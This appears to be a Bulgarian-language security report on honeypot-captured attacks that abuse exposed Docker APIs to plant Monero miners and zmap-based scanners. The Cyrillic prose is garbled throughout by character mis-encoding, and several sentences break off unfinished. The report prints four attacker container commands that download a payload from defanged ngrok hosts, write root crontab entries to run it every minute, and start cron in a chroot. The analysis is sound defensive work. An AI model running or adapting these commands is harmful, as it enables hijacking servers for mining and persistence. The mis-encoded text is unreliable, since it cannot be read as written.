ΠΠ½Π°Π»ΠΈΠ·ΠΈΡΠ°Ρ ΠΌΠ΅ Π΄Π°Π½Π½ΠΈΡΠ΅, ΡΡΠ±ΡΠ°Π½ΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ honeypot, ΠΊΠΎΠΈΡΠΎ ΡΡΠ·Π΄Π°Π΄ΠΎΡ ΠΌΠ΅ Π·Π° ΠΏΡΠΎΡΠ»Π΅Π΄ΡΠ²Π°Π½Π΅ Π½Π° Π·Π°ΠΏΠ»Π°Ρ ΠΈ. Π Π½ΠΈΠ΅ ΠΎΡΠΊΡΠΈΡ ΠΌΠ΅ Π·Π½Π°ΡΠΈΡΠ΅Π»Π½Π° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡ ΠΎΡ Π½Π΅ΠΆΠ΅Π»Π°Π½ΠΈ ΠΈΠ»ΠΈ Π½Π΅ΠΎΡΠΎΡΠΈΠ·ΠΈΡΠ°Π½ΠΈ ΠΊΠΎΠΏΠ°ΡΠΈ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ°, Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈ ΠΊΠ°ΡΠΎ ΠΈΠ·ΠΌΠ°ΠΌΠ½ΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½ΠΎ ΠΎΡ ΠΎΠ±ΡΠ½ΠΎΡΡΡΠ° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ Π² Docker Hub. ΠΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠ°ΡΠΎ ΡΠ°ΡΡ ΠΎΡ ΡΡΠ»ΡΠ³Π°, ΠΊΠΎΡΡΠΎ Π΄ΠΎΡΡΠ°Π²Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΊΠΎΠΏΠ°ΡΠΈ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ°.
ΠΡΠ²Π΅Π½ ΡΠΎΠ²Π° ΡΠ° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈ Π·Π° ΡΠ°Π±ΠΎΡΠ° Ρ ΠΌΡΠ΅ΠΆΠΈ Π·Π° ΠΏΡΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ Π² ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΡΡΡΠ΅Π΄Π½ΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ.
ΠΠΈΠ΅ ΠΎΡΡΠ°Π²ΡΠΌΠ΅ Π½Π°ΡΠΈΡΠ΅ honeypots ΡΠ°ΠΊΠΈΠ²Π°, ΠΊΠ°ΠΊΠ²ΠΈΡΠΎ ΡΠ°, ΡΠΎΠ΅ΡΡ Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈΡΠ΅ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅, Π±Π΅Π· Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ ΠΌΠ΅ΡΠΊΠΈ Π·Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄Π²Π°ΡΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½Π΅ Π½Π° Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ. ΠΠΎΠ»Ρ, ΠΈΠΌΠ°ΠΉΡΠ΅ ΠΏΡΠ΅Π΄Π²ΠΈΠ΄, ΡΠ΅ Docker ΠΈΠΌΠ° ΠΏΡΠ΅ΠΏΠΎΡΡΠΊΠΈ Π·Π° ΠΏΡΡΠ²ΠΎΠ½Π°ΡΠ°Π»Π½Π° Π½Π°ΡΡΡΠΎΠΉΠΊΠ°, Π·Π° Π΄Π° ΠΈΠ·Π±Π΅Π³Π½Π΅ΡΠ΅ Π³ΡΠ΅ΡΠΊΠΈ ΠΈ ΠΏΡΠΎΡΡΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ. ΠΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈΡΠ΅ honeypots ΡΠ° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ, ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ΠΈ Π΄Π° ΠΎΡΠΊΡΠΈΠ²Π°Ρ Π°ΡΠ°ΠΊΠΈ, Π½Π°ΡΠΎΡΠ΅Π½ΠΈ ΠΊΡΠΌ ΠΏΠ»Π°ΡΡΠΎΡΠΌΠ°ΡΠ° Π·Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈΠ·ΠΈΡΠ°Π½Π΅, Π° Π½Π΅ ΠΊΡΠΌ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ° Π²ΡΡΡΠ΅ Π² ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈΡΠ΅.
ΠΡΠΊΡΠΈΡΠ°ΡΠ° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½Π° Π΄Π΅ΠΉΠ½ΠΎΡΡ ΡΡΡΠΎ Π΅ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΡΠ΅Π»Π½Π°, Π·Π°ΡΠΎΡΠΎ Π½Π΅ ΠΈΠ·ΠΈΡΠΊΠ²Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΈ ΡΡΡΠΎ ΡΠ°ΠΊΠ° Π΅ Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠ° ΠΎΡ Π²Π΅ΡΡΠΈΡΡΠ° Π½Π° Docker. ΠΠ°ΠΌΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΎ ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ Π΅ Π²ΡΠΈΡΠΊΠΎ, ΠΎΡ ΠΊΠΎΠ΅ΡΠΎ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ ΡΠ΅ Π½ΡΠΆΠ΄Π°ΡΡ, Π·Π° Π΄Π° Π·Π°ΡΠ°Π·ΡΡ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΡΡΡΠ²ΡΡΠΈ.
ΠΠ΅Π·Π°ΡΠ²ΠΎΡΠ΅Π½ΠΈΡΡ API Π½Π° Docker ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΡΠΈΡΠΎΠΊΠ° Π³Π°ΠΌΠ° ΠΎΡ
ΠΡΠ»ΡΠ²ΠΎ Π΅ ΠΌΠ΅ΡΠΎΠ΄ΡΡ Π·Π° Π΄ΠΎΡΡΠ°Π²ΠΊΠ° Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ. ΠΠ΄ΡΡΠ½ΠΎ Π΅ ΡΡΠ΅Π΄Π°ΡΠ° Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ, ΠΊΠΎΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π΄ΠΈΡΡΠ°Π½ΡΠΈΠΎΠ½Π½ΠΎ ΠΏΡΡΠΊΠ°Π½Π΅ Π½Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ.
Π Π°Π·ΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ Π΄ΡΡΠΆΠ°Π²ΠΈ Π½Π° 3762 ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ API Π½Π° Docker. ΠΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° ΡΡΡΡΠ΅Π½Π΅ Π½Π° Shodan ΠΎΡ 12.02.2019 Π³
ΠΠΏΡΠΈΠΈ Π·Π° Π²Π΅ΡΠΈΠ³Π° Π·Π° Π°ΡΠ°ΠΊΠ° ΠΈ ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΡΠΎΠ²Π°Ρ
ΠΠ»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½Π°ΡΠ° Π΄Π΅ΠΉΠ½ΠΎΡΡ Π±Π΅ΡΠ΅ ΠΎΡΠΊΡΠΈΡΠ° Π½Π΅ ΡΠ°ΠΌΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° honeypots. ΠΠ°Π½Π½ΠΈΡΠ΅ ΠΎΡ Shodan ΠΏΠΎΠΊΠ°Π·Π²Π°Ρ, ΡΠ΅ Π±ΡΠΎΡΡ Π½Π° ΡΠ°Π·ΠΊΡΠΈΡΠΈΡΠ΅ API Π½Π° Docker (Π²ΠΈΠΆΡΠ΅ Π²ΡΠΎΡΠ°ΡΠ° Π³ΡΠ°ΡΠΈΠΊΠ°) ΡΠ΅ Π΅ ΡΠ²Π΅Π»ΠΈΡΠΈΠ», ΠΎΡΠΊΠ°ΠΊΡΠΎ ΠΏΡΠΎΡΡΠΈΡ
ΠΌΠ΅ Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ ΠΊΠ°ΡΠΎ ΠΌΠΎΡΡ Π·Π° Π²Π½Π΅Π΄ΡΡΠ²Π°Π½Π΅ Π½Π° ΡΠΎΡΡΡΠ΅Ρ Π·Π° ΠΊΠΎΠΏΠ°Π΅Π½Π΅ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ° Monero. ΠΡΠ΅Π· ΠΎΠΊΡΠΎΠΌΠ²ΡΠΈ ΠΌΠΈΠ½Π°Π»Π°ΡΠ° Π³ΠΎΠ΄ΠΈΠ½Π° (2018 Π³., ΡΠ΅ΠΊΡΡΠΈ Π΄Π°Π½Π½ΠΈ
ΠΡΠΎΠ²Π΅ΡΠΊΠ°ΡΠ° Π½Π° ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° honeypot ΠΏΠΎΠΊΠ°Π·Π°, ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π½Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ ΡΡΡΠΎ Π΅ ΡΠ²ΡΡΠ·Π°Π½ΠΎ Ρ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π°
Tty: false
Command: β-c curl βretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d βhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283β;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp9bedce/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
Tty: false,
Command: β-c curl βretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d βhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283β;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp570547/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
Tty: false,
Command: β-c curl βretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed βhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeβ;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp326c80/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c βcron || crondββ,
Entrypoint: β/bin/shβ,
Tty: false,
Cmd: β-c curl βretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed βhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeβ;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp8b9b5b/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
ΠΠ°ΠΊΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅, ΠΊΠ°ΡΠ΅Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΡΠ΅ ΠΈΠ·ΡΠ΅Π³Π»ΡΡ ΠΎΡ ΠΏΠΎΡΡΠΎΡΠ½Π½ΠΎ ΠΏΡΠΎΠΌΠ΅Π½ΡΡΠΈ ΡΠ΅ URL Π°Π΄ΡΠ΅ΡΠΈ. Π’Π΅Π·ΠΈ URL Π°Π΄ΡΠ΅ΡΠΈ ΠΈΠΌΠ°Ρ ΠΊΡΠ°ΡΡΠΊ ΡΡΠΎΠΊ Π½Π° Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ, ΡΠ°ΠΊΠ° ΡΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π½Π΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½ΠΈ ΡΠ»Π΅Π΄ Π΄Π°ΡΠ°ΡΠ° Π½Π° ΠΈΠ·ΡΠΈΡΠ°Π½Π΅.
ΠΠΌΠ° Π΄Π²Π΅ ΠΎΠΏΡΠΈΠΈ Π·Π° ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΡΠΎΠ²Π°Ρ. ΠΡΡΠ²ΠΈΡΡ Π΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠ°Π½ ELF ΠΌΠ°ΠΉΠ½Π΅Ρ Π·Π° Linux (Π΄Π΅ΡΠΈΠ½ΠΈΡΠ°Π½ ΠΊΠ°ΡΠΎ Coinminer.SH.MALXMR.ATNO), ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π° Ρ ΠΏΡΠ»Π° Π·Π° ΠΊΠΎΠΏΠ°Π΅Π½Π΅. ΠΡΠΎΡΠΈΡΡ Π΅ ΡΠΊΡΠΈΠΏΡ (TrojanSpy.SH.ZNETMAP.A), ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ ΠΈ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΡΡΡΡΠ΅Π½Π΅ Π½Π° Π½ΠΎΠ²ΠΈ ΡΠ΅Π»ΠΈ.
Π‘ΠΊΡΠΈΠΏΡΡΡ Π·Π° ΠΊΠ°ΠΏΠΊΠ° Π·Π°Π΄Π°Π²Π° Π΄Π²Π΅ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, ΠΊΠΎΠΈΡΠΎ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π·Π° Π²Π½Π΅Π΄ΡΡΠ²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΏΠ°ΡΠ° Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ°. ΠΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° HOST ΡΡΠ΄ΡΡΠΆΠ° URL Π°Π΄ΡΠ΅ΡΠ°, ΠΊΡΠ΄Π΅ΡΠΎ ΡΠ΅ Π½Π°ΠΌΠΈΡΠ°Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, Π° ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° RIP Π΅ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π° (Π²ΡΡΡΠ½ΠΎΡΡ Ρ Π΅Ρ) Π½Π° ΠΊΠΎΠΏΠ°ΡΠ°, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ Π±ΡΠ΄Π΅ Π²Π½Π΅Π΄ΡΠ΅Π½. ΠΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° HOST ΡΠ΅ ΠΏΡΠΎΠΌΠ΅Π½Ρ Π²ΡΠ΅ΠΊΠΈ ΠΏΡΡ, ΠΊΠΎΠ³Π°ΡΠΎ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° Ρ Π΅Ρ ΡΠ΅ ΠΏΡΠΎΠΌΠ΅Π½Ρ. Π‘ΠΊΡΠΈΠΏΡΡΡ ΡΡΡΠΎ ΡΠ°ΠΊΠ° ΡΠ΅ ΠΎΠΏΠΈΡΠ²Π° Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈ Π΄Π°Π»ΠΈ Π΄ΡΡΠ³ΠΈ ΠΊΠΎΠΏΠ°ΡΠΈ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ° Π½Π΅ ΡΠ°Π±ΠΎΡΡΡ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°Π½ΠΈΡ ΡΡΡΠ²ΡΡ.
ΠΡΠΈΠΌΠ΅ΡΠΈ Π·Π° HOST ΠΈ RIP ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΊΠΎΠ΄ΠΎΠ² ΡΡΠ°Π³ΠΌΠ΅Π½Ρ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° Π΄Π°Π»ΠΈ Π½Π΅ ΡΠ°Π±ΠΎΡΡΡ Π΄ΡΡΠ³ΠΈ ΠΊΠΎΠΏΠ°ΡΠΈ
ΠΡΠ΅Π΄ΠΈ Π΄Π° ΡΡΠ°ΡΡΠΈΡΠ°ΡΠ΅ ΠΌΠΈΠ½ΡΠΎΡΠ°, ΡΠΎΠΉ ΡΠ΅ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π° Π½Π° nginx. ΠΡΡΠ³ΠΈ Π²Π΅ΡΡΠΈΠΈ Π½Π° ΡΠΎΠ·ΠΈ ΡΠΊΡΠΈΠΏΡ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π°Ρ ΠΊΠΎΠΏΠ°ΡΠ° Π½Π° Π΄ΡΡΠ³ΠΈ Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΡΡΠ»ΡΠ³ΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠΈΡΡΡΡΠ²Π°Ρ Π² ΡΡΠ΅Π΄ΠΈ Π½Π° Linux. Π’ΠΎΠ²Π° ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ Π΅ Π΄ΠΎΡΡΠ°ΡΡΡΠ½ΠΎ, Π·Π° Π΄Π° ΡΠ΅ Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»ΡΡ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈΡΠ΅ ΡΡΠ΅ΡΡ ΡΠΏΠΈΡΡΠΊΠ° Ρ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Π½ΠΈ ΠΏΡΠΎΡΠ΅ΡΠΈ.
Π‘ΠΊΡΠΈΠΏΡΡΡ Π·Π° ΡΡΡΡΠ΅Π½Π΅ ΡΡΡΠΎ ΠΈΠΌΠ° ΡΡΠ½ΠΊΡΠΈΠΈ. Π Π°Π±ΠΎΡΠΈ ΡΡΡ ΡΡΡΠ°ΡΠ° URL ΡΡΠ»ΡΠ³Π° Π·Π° Π²Π½Π΅Π΄ΡΡΠ²Π°Π½Π΅ Π½Π° Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΈΡΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ. Π‘ΡΠ΅Π΄ ΡΡΡ Π΅ Π΄Π²ΠΎΠΈΡΠ½ΠΈΡΡ ΡΠ°ΠΉΠ» zmap, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΡΠ΅ΠΆΠΈ ΠΈ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΠΏΠΈΡΡΠΊ Ρ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΏΠΎΡΡΠΎΠ²Π΅. Π‘ΠΊΡΠΈΠΏΡΡΡ ΡΡΡΠΎ ΡΠ°ΠΊΠ° Π·Π°ΡΠ΅ΠΆΠ΄Π° Π΄ΡΡΠ³ Π΄Π²ΠΎΠΈΡΠ΅Π½ ΡΠ°ΠΉΠ», ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ ΡΡΠ»ΡΠ³ΠΈ ΠΈ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° Π±Π°Π½Π΅ΡΠΈ ΠΎΡ ΡΡΡ , Π·Π° Π΄Π° ΡΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° Π½Π°ΠΌΠ΅ΡΠ΅Π½Π°ΡΠ° ΡΡΠ»ΡΠ³Π° (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π½Π΅ΠΉΠ½Π°ΡΠ° Π²Π΅ΡΡΠΈΡ).
Π‘ΠΊΡΠΈΠΏΡΡΡ ΡΡΡΠΎ ΡΠ°ΠΊΠ° ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»Π½ΠΎ ΠΎΠΏΡΠ΅Π΄Π΅Π»Ρ Π½ΡΠΊΠΎΠΈ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ Π·Π° ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅, Π½ΠΎ ΡΠΎΠ²Π° Π·Π°Π²ΠΈΡΠΈ ΠΎΡ Π²Π΅ΡΡΠΈΡΡΠ° Π½Π° ΡΠΊΡΠΈΠΏΡΠ°. Π’ΠΎΠΉ ΡΡΡΠΎ ΡΠ°ΠΊΠ° Π·Π°Π΄Π°Π²Π° ΡΠ΅Π»Π΅Π²ΠΈΡΠ΅ ΠΏΠΎΡΡΠΎΠ²Π΅ ΠΎΡ ΡΡΠ»ΡΠ³ΠΈΡΠ΅ - Π² ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Docker - ΠΏΡΠ΅Π΄ΠΈ Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ΡΠΎ.
ΠΠ΅Π΄Π½Π°Π³Π° ΡΠΎΠΌ Π±ΡΠ΄Π°Ρ Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΈ ΡΠ΅Π»ΠΈ, Π±Π°Π½Π΅ΡΠΈΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΡΠ΅ ΠΏΡΠ΅ΠΌΠ°Ρ
Π²Π°Ρ ΠΎΡ ΡΡΡ
. Π‘ΠΊΡΠΈΠΏΡΡΡ ΡΡΡΠΎ ΡΠΈΠ»ΡΡΠΈΡΠ° ΡΠ΅Π»ΠΈ Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ ΡΡΠ»ΡΠ³ΠΈΡΠ΅, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ°, ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈΡΠ΅ ΠΈΠ»ΠΈ ΠΏΠ»Π°ΡΡΠΎΡΠΌΠΈΡΠ΅, ΠΊΠΎΠΈΡΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ²Π°Ρ ΠΈΠ½ΡΠ΅ΡΠ΅Ρ: Redis, Jenkins, Drupal, MODX,
ΠΠ΅ΠΊΡΠΎΡΡΡ Π½Π° Π°ΡΠ°ΠΊΠ° Π΅ Docker ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠ°ΠΊΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π²ΠΈΠ΄ΠΈ Π² ΡΠ»Π΅Π΄Π²Π°ΡΠΈΡΠ΅ Π΄Π²Π΅ ΡΠ°ΡΡΠΈ ΠΎΡ ΠΊΠΎΠ΄Π°.
Π Π³ΠΎΡΠ½Π°ΡΠ° ΡΠ°ΡΡ Π΅ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π°Π½Π΅ΡΠΎ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ½Π° ΡΡΠ»ΡΠ³Π°, Π° Π² Π΄ΠΎΠ»Π½Π°ΡΠ° ΡΠ°ΡΡ Π΅ ΠΊΠ°ΠΊ zmap ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΡΠ΅ΠΆΠΈ
